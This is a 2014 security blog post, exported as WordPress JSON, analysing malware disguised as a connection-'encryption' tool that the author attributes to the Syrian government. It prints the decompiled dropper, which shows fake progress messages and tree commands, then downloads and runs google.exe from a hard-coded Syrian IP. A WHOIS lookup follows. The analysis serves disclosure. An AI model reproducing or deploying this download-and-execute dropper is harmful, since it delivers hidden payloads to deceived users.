{"id":825,"date":"2014-07-10T05:21:47","date_gmt":"2014-07-10T05:21:47","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=825"},"modified":"2014-07-10T05:21:47","modified_gmt":"2014-07-10T05:21:47","slug":"syrian-malware","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2014\/07\/syrian-malware\/","title":{"rendered":"Syrian Malware"},"content":{"rendered":"<p>Howdy all!<\/p>\n<p>Today we&#8217;re going to go through some malware straight out of the armpit of the world &#8211; Syria. There are of course hurdles to this &#8211; namely language barriers. A lot code I run into has Arabic characters, but the code is functionally the same. As you may (or not) know, there is a military conflict going on right now in Syria and they&#8217;re using cyber warfare. State sponsored malware has been seen and captured for analysis. We know its from Syria because the C&#038;C servers go right back to Assad and government facilities in Syria. <\/p>\n<p>I get my samples from a friend of mine Zach whom runs the site <a href=\"http:\/\/syrianmalware.com\/\" target=\"_blank\">syrianmalware.com<\/a>. <\/p>\n<p>Today we&#8217;re going to look at a couple of examples. The first was fairly easy to pull apart. In fact, most of the crap out of Syria has been really easy to pull apart.<br \/>\nYou know you&#8217;re dealing with pros when the malware looks like this:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/haha.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/haha.png\" alt=\"haha\" width=\"359\" height=\"468\" class=\"alignnone size-full wp-image-829\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/haha.png 359w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/haha-230x300.png 230w\" sizes=\"(max-width: 359px) 100vw, 359px\" \/><\/a><\/p>\n<p>Awesome. There was no obfuscation done on this one either. As far as obfuscation goes, I&#8217;ve had pretty good luck so far as they only seem to be utilizing reflection:<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/worked.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/worked-300x84.png\" alt=\"worked\" width=\"300\" height=\"84\" class=\"alignnone size-medium wp-image-830\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/worked-300x84.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/worked-1024x288.png 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Now then, let&#8217;s have a look see at this malware.<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #888888\">\/\/ EncryptYourConection.Form1<\/span>\r\n<span style=\"color: #0000CC\">[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Button1_Click<\/span>(<span style=\"color: #333399; font-weight: bold\">object<\/span> sender, EventArgs e)\r\n{\r\n\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num2;\r\n\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num3;\r\n\t<span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n\t{\r\n\t\tIL_00:\r\n\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> num = <span style=\"color: #6600EE; font-weight: bold\">1<\/span>;\r\n\t\tInteraction.MsgBox(<span style=\"background-color: #fff0f0\">&quot;Please Wait while Check Your PC&quot;<\/span>, MsgBoxStyle.OkOnly, <span style=\"color: #008800; font-weight: bold\">null<\/span>);\r\n\t\tIL_0F:\r\n\t\tProjectData.ClearProjectError();\r\n\t\tnum2 = <span style=\"color: #6600EE; font-weight: bold\">1<\/span>;\r\n\t\tIL_16:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">3<\/span>;\r\n\t\tInteraction.Shell(<span style=\"background-color: #fff0f0\">&quot;cmd.exe \/ctree c:\\\\windows&quot;<\/span>, AppWinStyle.NormalFocus, <span style=\"color: #008800; font-weight: bold\">false<\/span>, -<span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t\tIL_26:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">4<\/span>;\r\n\t\tInteraction.Shell(<span style=\"background-color: #fff0f0\">&quot;cmd.exe \/ctree d:&quot;<\/span>, AppWinStyle.MaximizedFocus, <span style=\"color: #008800; font-weight: bold\">false<\/span>, -<span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t\tIL_36:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">5<\/span>;\r\n\t\tInteraction.Shell(<span style=\"background-color: #fff0f0\">&quot;cmd.exe \/ctree E:&quot;<\/span>, AppWinStyle.NormalFocus, <span style=\"color: #008800; font-weight: bold\">false<\/span>, -<span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t\tIL_46:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">6<\/span>;\r\n\t\tInteraction.Shell(<span style=\"background-color: #fff0f0\">&quot;cmd.exe \/ctree f:&quot;<\/span>, AppWinStyle.NormalFocus, <span style=\"color: #008800; font-weight: bold\">false<\/span>, -<span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t\tIL_56:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">7<\/span>;\r\n\t\tInteraction.Shell(<span style=\"background-color: #fff0f0\">&quot;cmd.exe \/ctree g:&quot;<\/span>, AppWinStyle.NormalFocus, <span style=\"color: #008800; font-weight: bold\">false<\/span>, -<span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t\tIL_66:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">8<\/span>;\r\n\t\tInteraction.Shell(<span style=\"background-color: #fff0f0\">&quot;cmd.exe \/ctree h:&quot;<\/span>, AppWinStyle.NormalFocus, <span style=\"color: #008800; font-weight: bold\">false<\/span>, -<span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t\tIL_76:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">9<\/span>;\r\n\t\tInteraction.Shell(<span style=\"background-color: #fff0f0\">&quot;cmd.exe \/ctree i:&quot;<\/span>, AppWinStyle.NormalFocus, <span style=\"color: #008800; font-weight: bold\">false<\/span>, -<span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t\tIL_87:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">10<\/span>;\r\n\t\tInteraction.Shell(<span style=\"background-color: #fff0f0\">&quot;cmd.exe \/ctree j:&quot;<\/span>, AppWinStyle.NormalFocus, <span style=\"color: #008800; font-weight: bold\">false<\/span>, -<span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t\tIL_98:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">11<\/span>;\r\n\t\tInteraction.Shell(<span style=\"background-color: #fff0f0\">&quot;cmd.exe \/ctree k:&quot;<\/span>, AppWinStyle.NormalFocus, <span style=\"color: #008800; font-weight: bold\">false<\/span>, -<span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t\tIL_A9:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">12<\/span>;\r\n\t\tInteraction.Shell(<span style=\"background-color: #fff0f0\">&quot;cmd.exe \/ctree l:&quot;<\/span>, AppWinStyle.NormalFocus, <span style=\"color: #008800; font-weight: bold\">false<\/span>, -<span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t\tIL_BA:\r\n\t\tProjectData.ClearProjectError();\r\n\t\tnum2 = <span style=\"color: #6600EE; font-weight: bold\">1<\/span>;\r\n\t\tIL_C1:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">14<\/span>;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (FileSystem.FileLen(Interaction.Environ(<span style=\"background-color: #fff0f0\">&quot;temp&quot;<\/span>) + <span style=\"background-color: #fff0f0\">&quot;\\\\google.exe&quot;<\/span>) == <span style=\"color: #6600EE; font-weight: bold\">0L<\/span>)\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">goto<\/span> IL_FD;\r\n\t\t}\r\n\t\tIL_E1:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">15<\/span>;\r\n\t\tFileSystem.Kill(Interaction.Environ(<span style=\"background-color: #fff0f0\">&quot;temp&quot;<\/span>) + <span style=\"background-color: #fff0f0\">&quot;\\\\google.exe&quot;<\/span>);\r\n\t\tIL_FD:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">17<\/span>;\r\n\t\tMyProject.Computer.Network.DownloadFile(<span style=\"background-color: #fff0f0\">&quot;http:\/\/216.6.0.28\/google.exe&quot;<\/span>, Interaction.Environ(<span style=\"background-color: #fff0f0\">&quot;temp&quot;<\/span>) + <span style=\"background-color: #fff0f0\">&quot;\\\\google.exe&quot;<\/span>);\r\n\t\tIL_128:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">18<\/span>;\r\n\t\tInteraction.Shell(Interaction.Environ(<span style=\"background-color: #fff0f0\">&quot;temp&quot;<\/span>) + <span style=\"background-color: #fff0f0\">&quot;\\\\google.exe&quot;<\/span>, AppWinStyle.MinimizedFocus, <span style=\"color: #008800; font-weight: bold\">false<\/span>, -<span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t\tIL_148:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">19<\/span>;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.ProgressBar1.Value = <span style=\"color: #6600EE; font-weight: bold\">50<\/span>;\r\n\t\tIL_158:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">20<\/span>;\r\n\t\tThread.Sleep(<span style=\"color: #6600EE; font-weight: bold\">10000<\/span>);\r\n\t\tIL_165:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">21<\/span>;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.Timer1.Enabled = <span style=\"color: #008800; font-weight: bold\">true<\/span>;\r\n\t\tIL_174:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">22<\/span>;\r\n\t\tInteraction.MsgBox(<span style=\"background-color: #fff0f0\">&quot;You PC is Protect now thank for using our Product&quot;<\/span>, MsgBoxStyle.OkOnly, <span style=\"color: #008800; font-weight: bold\">null<\/span>);\r\n\t\tIL_184:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">23<\/span>;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.Button1.Enabled = <span style=\"color: #008800; font-weight: bold\">false<\/span>;\r\n\t\tIL_193:\r\n\t\tnum = <span style=\"color: #6600EE; font-weight: bold\">24<\/span>;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.Button2.Enabled = <span style=\"color: #008800; font-weight: bold\">true<\/span>;\r\n\t\tIL_1A2:\r\n\t\t<span style=\"color: #008800; font-weight: bold\">goto<\/span> IL_258;\r\n\t\tIL_1A7:\r\n\t\t<span style=\"color: #333399; font-weight: bold\">int<\/span> arg_1AC_0 = num3 + <span style=\"color: #6600EE; font-weight: bold\">1<\/span>;\r\n\t\tnum3 = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\t\t@switch(ICSharpCode.Decompiler.ILAst.ILLabel[], arg_1AC_0);\r\n\t\tIL_219:\r\n\t\t<span style=\"color: #008800; font-weight: bold\">goto<\/span> IL_24D;\r\n\t\tnum3 = num;\r\n\t\t@switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num2);\r\n\t\tIL_22B:\r\n\t\t<span style=\"color: #008800; font-weight: bold\">goto<\/span> IL_24D;\r\n\t}\r\n\t<span style=\"color: #333399; font-weight: bold\">object<\/span> arg_22D_0;\r\n\tendfilter(arg_22D_0 <span style=\"color: #008800; font-weight: bold\">is<\/span> Exception &amp; num2 &gt; <span style=\"color: #6600EE; font-weight: bold\">0<\/span> &amp; num3 == <span style=\"color: #6600EE; font-weight: bold\">0<\/span>);\r\n\tIL_24D:\r\n\t<span style=\"color: #008800; font-weight: bold\">throw<\/span> ProjectData.CreateProjectError(-<span style=\"color: #6600EE; font-weight: bold\">2146828237<\/span>);\r\n\tIL_258:\r\n\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (num3 != <span style=\"color: #6600EE; font-weight: bold\">0<\/span>)\r\n\t{\r\n\t\tProjectData.ClearProjectError();\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n<p> I rather liked this bit:<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #888888\">\/\/ EncryptYourConection.Form1<\/span>\r\n<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Button2_Click<\/span>(<span style=\"color: #333399; font-weight: bold\">object<\/span> sender, EventArgs e)\r\n{\r\n\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.ProgressBar1.Value = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n\tInteraction.MsgBox(<span style=\"background-color: #fff0f0\">&quot;You Are Running On unprotected Conection You Maybe At Risk !!!!&quot;<\/span>, MsgBoxStyle.OkOnly, <span style=\"color: #008800; font-weight: bold\">null<\/span>);\r\n\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.Button1.Enabled = <span style=\"color: #008800; font-weight: bold\">true<\/span>;\r\n\t<span style=\"color: #008800; font-weight: bold\">this<\/span>.Button2.Enabled = <span style=\"color: #008800; font-weight: bold\">false<\/span>;\r\n}\r\n<\/pre>\n<\/div>\n<p>Breakdown &#8211; Run the program and a shitty looking form appears. A command prompt window appears when you attempt to &#8220;secure&#8221; your system that just runs the &#8216;tree&#8217; command. After that, the program attempts to download and run the file &#8220;http:\/\/216.6.0.28\/google.exe&#8221;. The site just spins its wheels when I attempt to pull down the file, but inspecting the IP, we get the following info:<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #888888\"># http:\/\/whois.arin.net\/rest\/nets;handle=NET-216-6-0-0-2?showDetails=true&amp;showARIN=false&amp;ext=netref2<\/span>\r\n<span style=\"color: #888888\">#<\/span>\r\n\r\nNetRange:       <span style=\"color: #6600EE; font-weight: bold\">216.6.0.0<\/span> <span style=\"color: #333333\">-<\/span> <span style=\"color: #6600EE; font-weight: bold\">216.6.1.255<\/span>\r\nCIDR:           <span style=\"color: #6600EE; font-weight: bold\">216.6.0.0<\/span><span style=\"color: #333333\">\/<\/span><span style=\"color: #6600EE; font-weight: bold\">23<\/span>\r\nOriginAS:       \r\nNetName:        SYRIAN<span style=\"color: #6600EE; font-weight: bold\">-5<\/span>\r\nNetHandle:      NET<span style=\"color: #6600EE; font-weight: bold\">-216-6-0-0-2<\/span>\r\nParent:         NET<span style=\"color: #6600EE; font-weight: bold\">-216-6-0-0-1<\/span>\r\nNetType:        Reassigned\r\nComment:        Fax<span style=\"color: #333333\">-<\/span>no<span style=\"color: #6600EE; font-weight: bold\">-963<\/span> <span style=\"color: #6600EE; font-weight: bold\">11<\/span> <span style=\"color: #6600EE; font-weight: bold\">3739765<\/span>\r\nRegDate:        <span style=\"color: #6600EE; font-weight: bold\">2005-07-22<\/span>\r\nUpdated:        <span style=\"color: #6600EE; font-weight: bold\">2005-07-22<\/span>\r\nRef:            http:<span style=\"color: #333333\">\/\/<\/span>whois.arin.net<span style=\"color: #333333\">\/<\/span>rest<span style=\"color: #333333\">\/<\/span>net<span style=\"color: #333333\">\/<\/span>NET<span style=\"color: #6600EE; font-weight: bold\">-216-6-0-0-2<\/span>\r\n\r\nOrgName:        STE (Syrian Telecommunications Establishment)\r\nOrgId:          SSTE\r\nAddress:        Fayz Mansour St\r\nAddress:        STE Building\r\nCity:           Damascus\r\nStateProv:      \r\nPostalCode:     \r\nCountry:        SY\r\nRegDate:        <span style=\"color: #6600EE; font-weight: bold\">2005-07-22<\/span>\r\nUpdated:        <span style=\"color: #6600EE; font-weight: bold\">2011-09-24<\/span>\r\nRef:            http:<span style=\"color: #333333\">\/\/<\/span>whois.arin.net<span style=\"color: #333333\">\/<\/span>rest<span style=\"color: #333333\">\/<\/span>org<span style=\"color: #333333\">\/<\/span>SSTE\r\n\r\nOrgTechHandle: SAL55<span style=\"color: #333333\">-<\/span>ARIN\r\nOrgTechName:   AL NASHEF, Samer \r\nOrgTechPhone:  <span style=\"color: #6600EE; font-weight: bold\">+963<\/span> <span style=\"color: #6600EE; font-weight: bold\">11<\/span> <span style=\"color: #6600EE; font-weight: bold\">3739766<\/span> \r\nOrgTechEmail:  sytld<span style=\"color: #333333\">-<\/span>admin<span style=\"color: #FF0000; background-color: #FFAAAA\">@<\/span>net.sy\r\nOrgTechRef:    http:<span style=\"color: #333333\">\/\/<\/span>whois.arin.net<span style=\"color: #333333\">\/<\/span>rest<span style=\"color: #333333\">\/<\/span>poc<span style=\"color: #333333\">\/<\/span>SAL55<span style=\"color: #333333\">-<\/span>ARIN\r\n\r\nOrgAbuseHandle: SAL55<span style=\"color: #333333\">-<\/span>ARIN\r\nOrgAbuseName:   AL NASHEF, Samer \r\nOrgAbusePhone:  <span style=\"color: #6600EE; font-weight: bold\">+963<\/span> <span style=\"color: #6600EE; font-weight: bold\">11<\/span> <span style=\"color: #6600EE; font-weight: bold\">3739766<\/span> \r\nOrgAbuseEmail:  sytld<span style=\"color: #333333\">-<\/span>admin<span style=\"color: #FF0000; background-color: #FFAAAA\">@<\/span>net.sy\r\nOrgAbuseRef:    http:<span style=\"color: #333333\">\/\/<\/span>whois.arin.net<span style=\"color: #333333\">\/<\/span>rest<span style=\"color: #333333\">\/<\/span>poc<span style=\"color: #333333\">\/<\/span>SAL55<span style=\"color: #333333\">-<\/span>ARIN\r\n\r\nRTechHandle: SAL55<span style=\"color: #333333\">-<\/span>ARIN\r\nRTechName:   AL NASHEF, Samer \r\nRTechPhone:  <span style=\"color: #6600EE; font-weight: bold\">+963<\/span> <span style=\"color: #6600EE; font-weight: bold\">11<\/span> <span style=\"color: #6600EE; font-weight: bold\">3739766<\/span> \r\nRTechEmail:  sytld<span style=\"color: #333333\">-<\/span>admin<span style=\"color: #FF0000; background-color: #FFAAAA\">@<\/span>net.sy\r\nRTechRef:    http:<span style=\"color: #333333\">\/\/<\/span>whois.arin.net<span style=\"color: #333333\">\/<\/span>rest<span style=\"color: #333333\">\/<\/span>poc<span style=\"color: #333333\">\/<\/span>SAL55<span style=\"color: #333333\">-<\/span>ARIN\r\n<\/pre>\n<\/div>\n<p>GEE, I WONDER WHO COULD BE BEHIND THIS?<\/p>\n<p>Stay tuned for part 2 when I go over the other 2 pieces. For now though, its late and I need my beauty rest.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/1395616424498.jpg\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/1395616424498-300x214.jpg\" alt=\"1395616424498\" width=\"300\" height=\"214\" class=\"alignnone size-medium wp-image-832\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/1395616424498-300x214.jpg 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/1395616424498-1024x733.jpg 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/1395616424498.jpg 1183w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Howdy all! Today we&#8217;re going to go through some malware straight out of the armpit of the world &#8211; Syria. There are of course hurdles to this &#8211; namely language barriers. A lot code I run into has Arabic characters, but the code is functionally the same. As you may (or not) know, there is [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/825"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=825"}],"version-history":[{"count":3,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/825\/revisions"}],"predecessor-version":[{"id":833,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/825\/revisions\/833"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=825"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=825"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=825"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}